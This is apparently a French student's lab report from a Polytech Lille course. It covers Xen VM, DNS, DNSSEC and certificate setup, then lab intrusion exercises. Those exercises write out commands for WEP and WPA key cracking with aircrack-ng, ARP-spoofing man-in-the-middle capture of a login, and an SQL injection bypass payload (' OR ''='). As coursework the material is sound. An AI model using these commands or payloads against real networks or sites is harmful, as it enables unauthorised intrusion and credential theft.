&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       &lt;br /&gt;
//Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
